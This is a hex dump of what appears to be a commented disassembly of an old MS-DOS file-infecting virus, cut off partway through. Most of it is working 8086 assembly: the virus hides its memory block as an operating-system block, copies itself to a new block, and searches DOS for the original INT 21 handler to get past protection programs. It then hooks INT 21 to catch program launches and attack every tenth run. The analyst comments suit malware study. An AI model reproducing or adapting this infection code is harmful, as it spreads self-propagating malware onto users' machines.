Restore| |00001080| 20 61 6c 6c 20 72 65 67 | 69 73 74 65 72 73 20 61 | all reg|isters a| |00001090| 6e 64 20 72 65 74 75 72 | 6e 20 74 6f 20 74 68 65 |nd retur|n to the| |000010a0| 20 6f 72 69 67 69 6e 61 | 6c 20 70 72 6f 67 72 61 | origina|l progra| |000010b0| 6d 2e 0d 0a 3b 0d 0a 45 | 58 49 54 3a 20 20 20 50 |m...;..E|XIT: P| |000010c0| 4f 50 20 20 20 20 20 44 | 49 0d 0a 20 20 20 20 20 |OP D|I.. | |000010d0| 20 20 20 50 4f 50 20 20 | 20 20 20 53 49 0d 0a 20 | POP | SI.. | |000010e0| 20 20 20 20 20 20 20 50 | 4f 50 20 20 20 20 20 43 | P|OP C| |000010f0| 58 0d 0a 20 20 20 20 20 | 20 20 20 50 4f 50 20 20 |X.. | POP | |00001100| 20 20 20 42 58 0d 0a 20 | 20 20 20 20 20 20 20 50 | BX.. | P| |00001110| 4f 50 20 20 20 20 20 44 | 53 0d 0a 20 20 20 20 20 |OP D|S.. | |00001120| 20 20 20 50 4f 50 20 20 | 20 20 20 45 53 0d 0a 20 | POP | ES.. | |00001130| 20 20 20 20 20 20 20 50 | 4f 50 20 20 20 20 20 41 | P|OP A| |00001140| 58 0d 0a 20 20 20 20 20 | 20 20 20 50 4f 50 20 20 |X.. | POP | |00001150| 20 20 20 42 50 0d 0a 20 | 20 20 20 20 20 20 20 52 | BP.. | R| |00001160| 45 54 0d 0a 3b 0d 0a 3b | 20 20 20 20 20 20 20 54 |ET..;..;| T| |00001170| 68 65 20 63 6f 64 65 20 | 74 6f 20 63 68 65 63 6b |he code |to check| |00001180| 20 69 66 20 49 4e 54 20 | 31 33 20 63 6f 6e 74 61 | if INT |13 conta| |00001190| 69 6e 73 20 73 6f 6d 65 | 74 68 69 6e 67 20 6f 74 |ins some|thing ot| |000011a0| 68 65 72 20 74 68 61 6e | 0d 0a 3b 20 20 20 20 20 |her than|..; | |000011b0| 20 20 30 30 37 30 20 6f | 72 20 46 30 30 30 20 68 | 0070 o|r F000 h| |000011c0| 61 73 20 62 65 65 6e 20 | 72 65 6d 6f 76 65 64 2e |as been |removed.| |000011d0| 0d 0a 3b 0d 0a 3b 20 20 | 20 20 20 20 20 53 65 74 |..;..; | Set| |000011e0| 20 74 68 65 20 69 6e 73 | 74 61 6c 6c 61 74 69 6f | the ins|tallatio| |000011f0| 6e 20 66 6c 61 67 2c 20 | 73 6f 20 69 6e 66 65 63 |n flag, |so infec| |00001200| 74 65 64 20 70 72 6f 67 | 72 61 6d 73 20 72 75 6e |ted prog|rams run| |00001210| 20 6c 61 74 65 72 20 77 | 69 6c 6c 0d 0a 3b 20 20 | later w|ill..; | |00001220| 20 20 20 20 20 72 65 63 | 6f 67 6e 69 7a 65 20 74 | rec|ognize t| |00001230| 68 65 20 69 6e 66 65 63 | 74 69 6f 6e 2e 0d 0a 3b |he infec|tion...;| |00001240| 0d 0a 4c 31 3a 20 20 20 | 20 20 4d 4f 56 20 20 20 |..L1: | MOV | |00001250| 20 20 45 53 3a 5b 33 37 | 46 48 5d 2c 42 59 54 45 | ES:[37|FH],BYTE| |00001260| 20 50 54 52 20 30 46 46 | 48 0d 0a 3b 0d 0a 3b 20 | PTR 0FF|H..;..; | |00001270| 20 20 20 20 20 20 54 68 | 65 20 76 69 72 75 73 20 | Th|e virus | |00001280| 74 72 69 65 73 20 74 6f | 20 68 69 64 65 20 66 72 |tries to| hide fr| |00001290| 6f 6d 20 64 65 74 65 63 | 74 69 6f 6e 20 62 79 20 |om detec|tion by | |000012a0| 6d 6f 64 69 66 79 69 6e | 67 20 74 68 65 20 6d 65 |modifyin|g the me| |000012b0| 6d 6f 72 79 20 62 6c 6f | 63 6b 20 69 74 0d 0a 3b |mory blo|ck it..;| |000012c0| 20 20 20 20 20 20 20 75 | 73 65 73 2c 20 73 6f 20 | u|ses, so | |000012d0| 69 74 20 73 65 65 6d 73 | 20 74 6f 20 62 65 20 61 |it seems| to be a| |000012e0| 20 62 6c 6f 63 6b 20 74 | 68 61 74 20 62 65 6c 6f | block t|hat belo| |000012f0| 6e 67 73 20 74 6f 20 74 | 68 65 20 6f 70 65 72 61 |ngs to t|he opera| |00001300| 74 69 6e 67 20 73 79 73 | 74 65 6d 2e 0d 0a 3b 0d |ting sys|tem...;.| |00001310| 0a 3b 20 20 20 20 20 20 | 20 49 74 20 6c 6f 6f 6b |.; | It look| |00001320| 73 20 72 61 74 68 65 72 | 20 77 65 69 72 64 2c 20 |s rather| weird, | |00001330| 62 75 74 20 69 74 20 73 | 65 65 6d 73 20 74 6f 20 |but it s|eems to | |00001340| 77 6f 72 6b 2e 20 0d 0a | 3b 0d 0a 20 20 20 20 20 |work. ..|;.. | |00001350| 20 20 20 4d 4f 56 20 20 | 20 20 20 41 48 2c 35 32 | MOV | AH,52| |00001360| 48 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 |H | | |00001370| 20 20 20 0d 0a 20 20 20 | 20 20 20 20 20 49 4e 54 | .. | INT| |00001380| 20 20 20 20 20 32 31 48 | 20 20 20 20 20 20 20 20 | 21H| | |00001390| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 0d 0a 3b | | ..;| |000013a0| 0d 0a 3b 20 20 20 20 20 | 20 20 54 68 65 20 6e 65 |..; | The ne| |000013b0| 78 74 20 6c 69 6e 65 20 | 69 73 20 6e 65 77 20 2d |xt line |is new -| |000013c0| 20 74 68 65 20 76 69 72 | 75 73 20 6f 62 74 61 69 | the vir|us obtai| |000013d0| 6e 73 20 74 68 65 20 73 | 65 67 6d 65 6e 74 20 6f |ns the s|egment o| |000013e0| 66 20 74 68 65 0d 0a 3b | 20 20 20 20 20 20 20 49 |f the..;| I| |000013f0| 42 4d 44 4f 53 2e 43 4f | 4d 2f 4d 53 44 4f 53 2e |BMDOS.CO|M/MSDOS.| |00001400| 53 59 53 20 70 72 6f 67 | 72 61 6d 2e 0d 0a 3b 0d |SYS prog|ram...;.| |00001410| 0a 20 20 20 20 20 20 20 | 20 4d 4f 56 20 20 20 20 |. | MOV | |00001420| 20 43 53 3a 5b 44 4f 53 | 53 45 47 5d 2c 45 53 0d | CS:[DOS|SEG],ES.| |00001430| 0a 3b 0d 0a 3b 20 20 20 | 20 20 20 20 42 61 63 6b |.;..; | Back| |00001440| 20 74 6f 20 6d 6f 64 69 | 66 69 63 61 74 69 6f 6e | to modi|fication| |00001450| 0d 0a 3b 0d 0a 20 20 20 | 20 20 20 20 20 4d 4f 56 |..;.. | MOV| |00001460| 20 20 20 20 20 41 58 2c | 45 53 3a 5b 42 58 2d 32 | AX,|ES:[BX-2| |00001470| 5d 20 20 20 20 20 20 20 | 20 20 20 20 20 0d 0a 20 |] | .. | |00001480| 20 20 20 20 20 20 20 4d | 4f 56 20 20 20 20 20 45 | M|OV E| |00001490| 53 2c 41 58 20 20 20 20 | 20 20 20 20 20 20 20 20 |S,AX | | |000014a0| 20 20 20 20 20 20 20 0d | 0a 20 20 20 20 20 20 20 | .|. | |000014b0| 20 41 44 44 20 20 20 20 | 20 41 58 2c 45 53 3a 5b | ADD | AX,ES:[| |000014c0| 30 30 30 33 5d 20 20 20 | 20 20 20 20 20 20 20 20 |0003] | | |000014d0| 20 0d 0a 20 20 20 20 20 | 20 20 20 49 4e 43 20 20 | .. | INC | |000014e0| 20 20 20 41 58 20 20 20 | 20 20 20 20 20 20 20 20 | AX | | |000014f0| 20 20 20 20 20 20 20 20 | 20 20 20 0d 0a 20 20 20 | | .. | |00001500| 20 20 20 20 20 49 4e 43 | 20 20 20 20 20 41 58 20 | INC| AX | |00001510| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 | | | |00001520| 20 20 20 20 20 0d 0a 20 | 20 20 20 20 20 20 20 4d | .. | M| |00001530| 4f 56 20 20 20 20 20 43 | 53 3a 5b 30 30 30 31 5d |OV C|S:[0001]| |00001540| 2c 41 58 0d 0a 3b 0d 0a | 3b 20 20 20 20 20 20 20 |,AX..;..|; | |00001550| 4e 65 78 74 2c 20 74 68 | 65 20 76 69 72 75 73 20 |Next, th|e virus | |00001560| 6d 6f 64 69 66 69 65 73 | 20 74 68 65 20 6d 65 6d |modifies| the mem| |00001570| 6f 72 79 20 62 6c 6f 63 | 6b 20 6f 66 20 74 68 65 |ory bloc|k of the| |00001580| 20 69 6e 66 65 63 74 65 | 64 20 70 72 6f 67 72 61 | infecte|d progra| |00001590| 6d 2e 0d 0a 3b 20 20 20 | 20 20 20 20 49 74 20 69 |m...; | It i| |000015a0| 73 20 6d 61 64 65 20 73 | 6d 61 6c 6c 65 72 2c 20 |s made s|maller, | |000015b0| 61 6e 64 20 6e 6f 20 6c | 6f 6e 67 65 72 20 74 68 |and no l|onger th| |000015c0| 65 20 6c 61 73 74 20 62 | 6c 6f 63 6b 2e 0d 0a 3b |e last b|lock...;| |000015d0| 0d 0a 20 20 20 20 20 20 | 20 20 4d 4f 56 20 20 20 |.. | MOV | |000015e0| 20 20 42 58 2c 44 53 20 | 20 20 20 20 20 20 20 20 | BX,DS | | |000015f0| 20 20 20 20 20 20 20 20 | 20 20 0d 0a 20 20 20 20 | | .. | |00001600| 20 20 20 20 44 45 43 20 | 20 20 20 20 42 58 20 20 | DEC | BX | |00001610| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 | | | |00001620| 20 20 20 20 0d 0a 20 20 | 20 20 20 20 20 20 4d 4f | .. | MO| |00001630| 56 20 20 20 20 20 44 53 | 2c 42 58 0d 0a 20 20 20 |V DS|,BX.. | |00001640| 20 20 20 20 20 4d 4f 56 | 20 20 20 20 20 41 4c 2c | MOV| AL,| |00001650| 27 4d 27 0d 0a 20 20 20 | 20 20 20 20 20 4d 4f 56 |'M'.. | MOV| |00001660| 20 20 20 20 20 44 53 3a | 5b 30 30 30 30 5d 2c 41 | DS:|[0000],A| |00001670| 4c 0d 0a 20 20 20 20 20 | 20 20 20 4d 4f 56 20 20 |L.. | MOV | |00001680| 20 20 20 41 58 2c 44 53 | 3a 5b 30 30 30 33 5d 0d | AX,DS|:[0003].| |00001690| 0a 20 20 20 20 20 20 20 | 20 53 55 42 20 20 20 20 |. | SUB | |000016a0| 20 41 58 2c 56 49 52 53 | 49 5a 0d 0a 20 20 20 20 | AX,VIRS|IZ.. | |000016b0| 20 20 20 20 4d 4f 56 20 | 20 20 20 20 44 53 3a 5b | MOV | DS:[| |000016c0| 30 30 30 33 5d 2c 41 58 | 0d 0a 20 20 20 20 20 20 |0003],AX|.. | |000016d0| 20 20 41 44 44 20 20 20 | 20 20 42 58 2c 41 58 0d | ADD | BX,AX.| |000016e0| 0a 20 20 20 20 20 20 20 | 20 49 4e 43 20 20 20 20 |. | INC | |000016f0| 20 42 58 0d 0a 3b 0d 0a | 3b 20 20 20 20 20 20 20 | BX..;..|; | |00001700| 54 68 65 6e 20 74 68 65 | 20 76 69 72 75 73 20 6d |Then the| virus m| |00001710| 6f 76 65 73 20 69 74 73 | 65 6c 66 20 74 6f 20 74 |oves its|elf to t| |00001720| 68 65 20 6e 65 77 20 62 | 6c 6f 63 6b 2e 20 46 6f |he new b|lock. Fo| |00001730| 72 20 73 6f 6d 65 20 72 | 65 61 73 6f 6e 20 32 30 |r some r|eason 20| |00001740| 30 30 0d 0a 3b 20 20 20 | 20 20 20 20 62 79 74 65 |00..; | byte| |00001750| 73 20 61 72 65 20 74 72 | 61 6e 73 66 65 72 72 65 |s are tr|ansferre| |00001760| 64 2c 20 77 68 65 6e 20 | 6d 75 63 68 20 6c 65 73 |d, when |much les| |00001770| 73 20 77 6f 75 6c 64 20 | 62 65 20 65 6e 6f 75 67 |s would |be enoug| |00001780| 68 2e 20 4d 61 79 62 65 | 20 74 68 65 20 61 75 74 |h. Maybe| the aut| |00001790| 68 6f 72 20 6a 75 73 74 | 0d 0a 3b 20 20 20 20 20 |hor just|..; | |000017a0| 20 20 77 61 6e 74 65 64 | 20 74 6f 20 6c 65 61 76 | wanted| to leav| |000017b0| 65 20 72 6f 6f 6d 20 66 | 6f 72 20 66 75 74 75 72 |e room f|or futur| |000017c0| 65 20 65 78 70 61 6e 73 | 69 6f 6e 73 2e 0d 0a 3b |e expans|ions...;| |000017d0| 0d 0a 20 20 20 20 20 20 | 20 20 4d 4f 56 20 20 20 |.. | MOV | |000017e0| 20 20 45 53 2c 42 58 0d | 0a 20 20 20 20 20 20 20 | ES,BX.|. | |000017f0| 20 58 4f 52 20 20 20 20 | 20 53 49 2c 53 49 0d 0a | XOR | SI,SI..| |00001800| 20 20 20 20 20 20 20 20 | 58 4f 52 20 20 20 20 20 | |XOR | |00001810| 44 49 2c 44 49 0d 0a 20 | 20 20 20 20 20 20 20 50 |DI,DI.. | P| |00001820| 55 53 48 20 20 20 20 43 | 53 0d 0a 20 20 20 20 20 |USH C|S.. | |00001830| 20 20 20 50 4f 50 20 20 | 20 20 20 44 53 0d 0a 20 | POP | DS.. | |00001840| 20 20 20 20 20 20 20 4d | 4f 56 20 20 20 20 20 43 | M|OV C| |00001850| 58 2c 32 30 30 30 0d 0a | 20 20 20 20 20 20 20 20 |X,2000..| | |00001860| 43 4c 44 0d 0a 20 20 20 | 20 20 20 20 20 52 45 50 |CLD.. | REP| |00001870| 20 20 20 20 20 4d 4f 56 | 53 42 0d 0a 3b 0d 0a 3b | MOV|SB..;..;| |00001880| 20 20 20 20 20 20 20 54 | 68 65 20 76 69 72 75 73 | T|he virus| |00001890| 20 74 68 65 6e 20 74 72 | 61 6e 73 66 65 72 73 20 | then tr|ansfers | |000018a0| 63 6f 6e 74 72 6f 6c 20 | 74 6f 20 74 68 65 20 6e |control |to the n| |000018b0| 65 77 20 63 6f 70 79 20 | 6f 66 20 69 74 73 65 6c |ew copy |of itsel| |000018c0| 66 2e 0d 0a 3b 0d 0a 20 | 20 20 20 20 20 20 20 50 |f...;.. | P| |000018d0| 55 53 48 20 20 20 20 45 | 53 0d 0a 20 20 20 20 20 |USH E|S.. | |000018e0| 20 20 20 4d 4f 56 20 20 | 20 20 20 41 58 2c 4f 46 | MOV | AX,OF| |000018f0| 46 53 45 54 20 4c 32 0d | 0a 20 20 20 20 20 20 20 |FSET L2.|. | |00001900| 20 50 55 53 48 20 20 20 | 20 41 58 0d 0a 20 20 20 | PUSH | AX.. | |00001910| 20 20 20 20 20 52 45 54 | 20 20 20 20 20 20 20 20 | RET| | |00001920| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 | | | |00001930| 20 20 20 20 20 0d 0a 3b | 0d 0a 3b 20 20 20 20 20 | ..;|..; | |00001940| 20 20 54 68 69 73 20 70 | 61 72 74 20 6f 66 20 74 | This p|art of t| |00001950| 68 65 20 70 72 6f 67 72 | 61 6d 20 69 73 20 6e 65 |he progr|am is ne| |00001960| 77 2e 20 49 74 20 74 72 | 69 65 73 20 74 6f 20 62 |w. It tr|ies to b| |00001970| 79 70 61 73 73 20 70 72 | 6f 74 65 63 74 69 6f 6e |ypass pr|otection| |00001980| 0d 0a 3b 20 20 20 20 20 | 20 20 70 72 6f 67 72 61 |..; | progra| |00001990| 6d 73 2c 20 62 79 20 6f | 62 74 61 69 6e 69 6e 67 |ms, by o|btaining| |000019a0| 20 74 68 65 20 6f 72 69 | 67 69 6e 61 6c 20 49 4e | the ori|ginal IN| |000019b0| 54 20 32 31 20 61 64 64 | 72 65 73 73 2e 20 49 74 |T 21 add|ress. It| |000019c0| 20 73 65 61 72 63 68 65 | 73 0d 0a 3b 20 20 20 20 | searche|s..; | |000019d0| 20 20 20 66 6f 72 20 74 | 68 65 20 62 79 74 65 20 | for t|he byte | |000019e0| 73 65 71 75 65 6e 63 65 | 20 32 45 20 33 41 20 32 |sequence| 2E 3A 2| |000019f0| 36 2c 20 77 68 69 63 68 | 20 28 69 6e 20 44 4f 53 |6, which| (in DOS| |00001a00| 20 33 2e 31 20 61 6e 64 | 20 33 2e 33 29 20 69 73 | 3.1 and| 3.3) is| |00001a10| 20 74 68 65 0d 0a 3b 20 | 20 20 20 20 20 20 62 65 | the..; | be| |00001a20| 67 69 6e 6e 69 6e 67 20 | 6f 66 20 74 68 65 20 6f |ginning |of the o| |00001a30| 72 69 67 69 6e 61 6c 20 | 69 6e 74 65 72 72 75 70 |riginal |interrup| |00001a40| 74 20 28 70 72 6f 62 61 | 62 6c 79 20 61 6c 73 6f |t (proba|bly also| |00001a50| 20 69 6e 20 33 2e 32 20 | 2d 20 49 20 64 6f 0d 0a | in 3.2 |- I do..| |00001a60| 3b 20 20 20 20 20 20 20 | 6e 6f 74 20 68 61 76 65 |; |not have| |00001a70| 20 61 20 63 6f 70 79 20 | 6f 66 20 74 68 61 74 29 | a copy |of that)| |00001a80| 0d 0a 3b 0d 0a 4c 32 3a | 20 20 20 20 20 4d 4f 56 |..;..L2:| MOV| |00001a90| 20 20 20 20 20 44 53 2c | 43 53 3a 5b 44 4f 53 53 | DS,|CS:[DOSS| |00001aa0| 45 47 5d 0d 0a 20 20 20 | 20 20 20 20 20 4d 4f 56 |EG].. | MOV| |00001ab0| 20 20 20 20 20 43 58 2c | 33 30 30 30 48 0d 0a 20 | CX,|3000H.. | |00001ac0| 20 20 20 20 20 20 20 4d | 4f 56 20 20 20 20 20 53 | M|OV S| |00001ad0| 49 2c 30 0d 0a 20 20 20 | 20 20 20 20 20 4d 4f 56 |I,0.. | MOV| |00001ae0| 20 20 20 20 20 41 58 2c | 33 41 32 45 48 0d 0a 4c | AX,|3A2EH..L| |00001af0| 33 3a 20 20 20 20 20 43 | 4d 50 20 20 20 20 20 41 |3: C|MP A| |00001b00| 58 2c 5b 53 49 5d 0d 0a | 20 20 20 20 20 20 20 20 |X,[SI]..| | |00001b10| 4a 45 20 20 20 20 20 20 | 4c 33 41 0d 0a 4c 33 43 |JE |L3A..L3C| |00001b20| 3a 20 20 20 20 49 4e 43 | 20 20 20 20 20 53 49 0d |: INC| SI.| |00001b30| 0a 20 20 20 20 20 20 20 | 20 4c 4f 4f 50 20 20 20 |. | LOOP | |00001b40| 20 4c 33 0d 0a 3b 0d 0a | 3b 20 20 20 20 20 20 20 | L3..;..|; | |00001b50| 49 66 20 74 68 61 74 20 | 66 61 69 6c 73 2c 20 69 |If that |fails, i| |00001b60| 74 20 73 65 61 72 63 68 | 65 73 20 66 6f 72 20 38 |t search|es for 8| |00001b70| 30 20 46 43 20 36 33 20 | 20 20 28 75 73 65 64 20 |0 FC 63 | (used | |00001b80| 69 6e 20 33 2e 30 29 0d | 0a 3b 20 20 20 20 20 20 |in 3.0).|.; | |00001b90| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 | | | |00001ba0| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 | | | |00001bb0| 38 30 20 46 43 20 34 42 | 20 20 20 28 75 73 65 64 |80 FC 4B| (used| |00001bc0| 20 69 6e 20 32 2e 30 29 | 0d 0a 3b 20 20 20 20 20 | in 2.0)|..; | |00001bd0| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 | | | |00001be0| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 | | | |00001bf0| 20 38 30 20 46 43 20 46 | 38 20 20 20 28 54 68 69 | 80 FC F|8 (Thi| |00001c00| 73 20 6c 6f 6f 6b 73 20 | 76 65 72 79 20 6f 64 64 |s looks |very odd| |00001c10| 20 2d 0d 0a 3b 20 20 20 | 20 20 20 20 49 20 68 61 | -..; | I ha| |00001c20| 76 65 20 6e 6f 20 69 64 | 65 61 20 77 68 61 74 20 |ve no id|ea what | |00001c30| 44 4f 53 20 76 65 72 73 | 69 6f 6e 20 74 68 69 73 |DOS vers|ion this| |00001c40| 20 6d 69 67 68 74 20 62 | 65 2e 29 0d 0a 3b 0d 0a | might b|e.)..;..| |00001c50| 20 20 20 20 20 20 20 20 | 4d 4f 56 20 20 20 20 20 | |MOV | |00001c60| 43 58 2c 33 30 30 30 48 | 0d 0a 20 20 20 20 20 20 |CX,3000H|.. | |00001c70| 20 20 4d 4f 56 20 20 20 | 20 20 53 49 2c 30 0d 0a | MOV | SI,0..| |00001c80| 20 20 20 20 20 20 20 20 | 4d 4f 56 20 20 20 20 20 | |MOV | |00001c90| 41 58 2c 30 46 43 38 30 | 48 0d 0a 4c 33 44 3a 20 |AX,0FC80|H..L3D: | |00001ca0| 20 20 20 43 4d 50 20 20 | 20 20 20 41 58 2c 5b 53 | CMP | AX,[S| |00001cb0| 49 5d 0d 0a 20 20 20 20 | 20 20 20 20 4a 45 20 20 |I].. | JE | |00001cc0| 20 20 20 20 4c 33 46 0d | 0a 4c 33 45 3a 20 20 20 | L3F.|.L3E: | |00001cd0| 20 49 4e 43 20 20 20 20 | 20 53 49 0d 0a 20 20 20 | INC | SI.. | |00001ce0| 20 20 20 20 20 4c 4f 4f | 50 20 20 20 20 4c 33 44 | LOO|P L3D| |00001cf0| 0d 0a 3b 0d 0a 3b 20 20 | 20 20 20 20 20 53 74 61 |..;..; | Sta| |00001d00| 72 74 20 6f 66 20 44 4f | 53 20 6e 6f 74 20 66 6f |rt of DO|S not fo| |00001d10| 75 6e 64 20 2d 20 47 69 | 76 65 20 75 70 20 28 62 |und - Gi|ve up (b| |00001d20| 75 74 20 72 65 6d 61 69 | 6e 20 69 6e 20 6d 65 6d |ut remai|n in mem| |00001d30| 6f 72 79 29 0d 0a 3b 0d | 0a 20 20 20 20 20 20 20 |ory)..;.|. | |00001d40| 20 4a 4d 50 20 20 20 20 | 20 45 58 49 54 0d 0a 0d | JMP | EXIT...| |00001d50| 0a 4c 33 41 3a 20 20 20 | 20 43 4d 50 20 20 20 20 |.L3A: | CMP | |00001d60| 20 42 59 54 45 20 50 54 | 52 5b 53 49 2b 32 5d 2c | BYTE PT|R[SI+2],| |00001d70| 32 36 48 0d 0a 20 20 20 | 20 20 20 20 20 4a 45 20 |26H.. | JE | |00001d80| 20 20 20 20 20 4c 33 42 | 0d 0a 20 20 20 20 20 20 | L3B|.. | |00001d90| 20 20 4a 4d 50 20 20 20 | 20 20 4c 33 43 0d 0a 4c | JMP | L3C..L| |00001da0| 33 46 3a 20 20 20 20 43 | 4d 50 20 20 20 20 20 42 |3F: C|MP B| |00001db0| 59 54 45 20 50 54 52 5b | 53 49 2b 32 5d 2c 36 33 |YTE PTR[|SI+2],63| |00001dc0| 48 0d 0a 20 20 20 20 20 | 20 20 20 4a 45 20 20 20 |H.. | JE | |00001dd0| 20 20 20 4c 33 42 0d 0a | 20 20 20 20 20 20 20 20 | L3B..| | |00001de0| 43 4d 50 20 20 20 20 20 | 42 59 54 45 20 50 54 52 |CMP |BYTE PTR| |00001df0| 5b 53 49 2b 32 5d 2c 34 | 42 48 0d 0a 20 20 20 20 |[SI+2],4|BH.. | |00001e00| 20 20 20 20 4a 45 20 20 | 20 20 20 20 4c 33 42 0d | JE | L3B.| |00001e10| 0a 20 20 20 20 20 20 20 | 20 43 4d 50 20 20 20 20 |. | CMP | |00001e20| 20 42 59 54 45 20 50 54 | 52 5b 53 49 2b 32 5d 2c | BYTE PT|R[SI+2],| |00001e30| 30 46 38 48 0d 0a 20 20 | 20 20 20 20 20 20 4a 45 |0F8H.. | JE| |00001e40| 20 20 20 20 20 20 4c 33 | 42 0d 0a 20 20 20 20 20 | L3|B.. | |00001e50| 20 20 20 4a 4d 50 20 20 | 20 20 20 4c 33 45 0d 0a | JMP | L3E..| |00001e60| 4c 33 42 3a 20 20 20 20 | 4d 4f 56 20 20 20 20 20 |L3B: |MOV | |00001e70| 43 53 3a 5b 44 4f 53 50 | 43 5d 2c 53 49 0d 0a 3b |CS:[DOSP|C],SI..;| |00001e80| 0d 0a 3b 20 20 20 20 20 | 20 20 54 68 65 20 6d 61 |..; | The ma| |00001e90| 69 6e 20 70 72 6f 67 72 | 61 6d 20 6d 6f 64 69 66 |in progr|am modif| |00001ea0| 69 65 73 20 49 4e 54 20 | 32 31 20 6e 65 78 74 20 |ies INT |21 next | |00001eb0| 61 6e 64 20 66 69 6e 61 | 6c 6c 79 20 72 65 74 75 |and fina|lly retu| |00001ec0| 72 6e 73 20 74 6f 20 74 | 68 65 0d 0a 3b 20 20 20 |rns to t|he..; | |00001ed0| 20 20 20 20 6f 72 69 67 | 69 6e 61 6c 20 70 72 6f | orig|inal pro| |00001ee0| 67 72 61 6d 2e 20 54 68 | 65 20 6f 72 69 67 69 6e |gram. Th|e origin| |00001ef0| 61 6c 20 49 4e 54 20 32 | 31 20 76 65 63 74 6f 72 |al INT 2|1 vector| |00001f00| 20 69 73 20 73 74 6f 72 | 65 64 20 69 6e 73 69 64 | is stor|ed insid| |00001f10| 65 20 74 68 65 0d 0a 3b | 20 20 20 20 20 20 20 70 |e the..;| p| |00001f20| 72 6f 67 72 61 6d 20 73 | 6f 20 61 20 4a 4d 50 20 |rogram s|o a JMP | |00001f30| 5b 4f 4c 44 20 49 4e 54 | 32 31 5d 20 69 6e 73 74 |[OLD INT|21] inst| |00001f40| 72 75 63 74 69 6f 6e 20 | 63 61 6e 20 62 65 20 75 |ruction |can be u| |00001f50| 73 65 64 2e 0d 0a 3b 0d | 0a 20 20 20 20 20 20 20 |sed...;.|. | |00001f60| 20 58 4f 52 20 20 20 20 | 20 41 58 2c 41 58 0d 0a | XOR | AX,AX..| |00001f70| 20 20 20 20 20 20 20 20 | 4d 4f 56 20 20 20 20 20 | |MOV | |00001f80| 45 53 2c 41 58 0d 0a 20 | 20 20 20 20 20 20 20 4d |ES,AX.. | M| |00001f90| 4f 56 20 20 20 20 20 41 | 58 2c 45 53 3a 5b 30 30 |OV A|X,ES:[00| |00001fa0| 38 34 48 5d 0d 0a 20 20 | 20 20 20 20 20 20 4d 4f |84H].. | MO| |00001fb0| 56 20 20 20 20 20 43 53 | 3a 5b 4f 4c 44 32 31 5d |V CS|:[OLD21]| |00001fc0| 2c 41 58 0d 0a 20 20 20 | 20 20 20 20 20 4d 4f 56 |,AX.. | MOV| |00001fd0| 20 20 20 20 20 41 58 2c | 45 53 3a 5b 30 30 38 36 | AX,|ES:[0086| |00001fe0| 48 5d 0d 0a 20 20 20 20 | 20 20 20 20 4d 4f 56 20 |H].. | MOV | |00001ff0| 20 20 20 20 43 53 3a 5b | 4f 4c 44 32 31 2b 32 5d | CS:[|OLD21+2]| |00002000| 2c 41 58 0d 0a 20 20 20 | 20 20 20 20 20 4d 4f 56 |,AX.. | MOV| |00002010| 20 20 20 20 20 41 58 2c | 43 53 0d 0a 20 20 20 20 | AX,|CS.. | |00002020| 20 20 20 20 4d 4f 56 20 | 20 20 20 20 45 53 3a 5b | MOV | ES:[| |00002030| 30 30 38 36 48 5d 2c 41 | 58 0d 0a 20 20 20 20 20 |0086H],A|X.. | |00002040| 20 20 20 4d 4f 56 20 20 | 20 20 20 41 58 2c 4f 46 | MOV | AX,OF| |00002050| 46 53 45 54 20 4e 45 57 | 32 31 0d 0a 20 20 20 20 |FSET NEW|21.. | |00002060| 20 20 20 20 4d 4f 56 20 | 20 20 20 20 45 53 3a 5b | MOV | ES:[| |00002070| 30 30 38 34 48 5d 2c 41 | 58 0d 0a 20 20 20 20 20 |0084H],A|X.. | |00002080| 20 20 20 4a 4d 50 20 20 | 20 20 20 45 58 49 54 0d | JMP | EXIT.| |00002090| 0a 56 49 52 55 53 20 20 | 20 45 4e 44 50 0d 0a 3b |.VIRUS | ENDP..;| |000020a0| 0d 0a 3b 20 20 20 20 20 | 20 20 54 68 69 73 20 69 |..; | This i| |000020b0| 73 20 74 68 65 20 49 4e | 54 20 32 31 20 72 65 70 |s the IN|T 21 rep| |000020c0| 6c 61 63 65 6d 65 6e 74 | 2e 20 49 74 20 6f 6e 6c |lacement|. It onl| |000020d0| 79 20 64 6f 65 73 20 73 | 6f 6d 65 74 68 69 6e 67 |y does s|omething| |000020e0| 20 69 6e 20 74 68 65 20 | 63 61 73 65 0d 0a 3b 20 | in the |case..; | |000020f0| 20 20 20 20 20 20 6f 66 | 20 61 6e 20 45 58 45 43 | of| an EXEC| |00002100| 20 63 61 6c 6c 2e 0d 0a | 3b 0d 0a 4e 45 57 32 31 | call...|;..NEW21| |00002110| 20 20 20 50 52 4f 43 20 | 46 41 52 20 20 20 20 20 | PROC |FAR | |00002120| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 | | | |00002130| 20 20 20 0d 0a 20 20 20 | 20 20 20 20 20 43 4d 50 | .. | CMP| |00002140| 20 20 20 20 20 41 48 2c | 34 42 48 20 20 20 20 20 | AH,|4BH | |00002150| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 0d 0a 20 | | .. | |00002160| 20 20 20 20 20 20 20 4a | 45 20 20 20 20 20 20 4c | J|E L| |00002170| 35 0d 0a 4c 34 3a 20 20 | 20 20 20 44 42 20 20 20 |5..L4: | DB | |00002180| 20 20 20 30 45 41 48 0d | 0a 4f 4c 44 32 31 20 20 | 0EAH.|.OLD21 | |00002190| 20 44 57 20 20 20 20 20 | 20 30 2c 30 0d 0a 3b 0d | DW | 0,0..;.| |000021a0| 0a 3b 20 20 20 20 20 20 | 20 4f 6e 6c 79 20 61 74 |.; | Only at| |000021b0| 74 61 63 6b 20 65 76 65 | 72 79 20 74 65 6e 74 68 |tack eve|ry tenth| |000021c0| 20 70 72 6f 67 72 61 6d | 20 72 75 6e 2e 0d 0a 3b | program| run...;| |000021d0| 0d 0a 4c 35 3a 20 20 20 | 20 20 44 45 43 20 20 20 |..L5: | DEC | |000021e0| 20 20 43 53 3a 5b 43 4f | 55 4e 54 45 52 5d 0d 0a | CS:[CO|UNTER]..| |000021f0| 20 20 20 20 20 20 20 20 | 4a 4e 45 20 20 20 20 20 | |JNE | |00002200| 4c 34 0d 0a 20 20 20 20 | 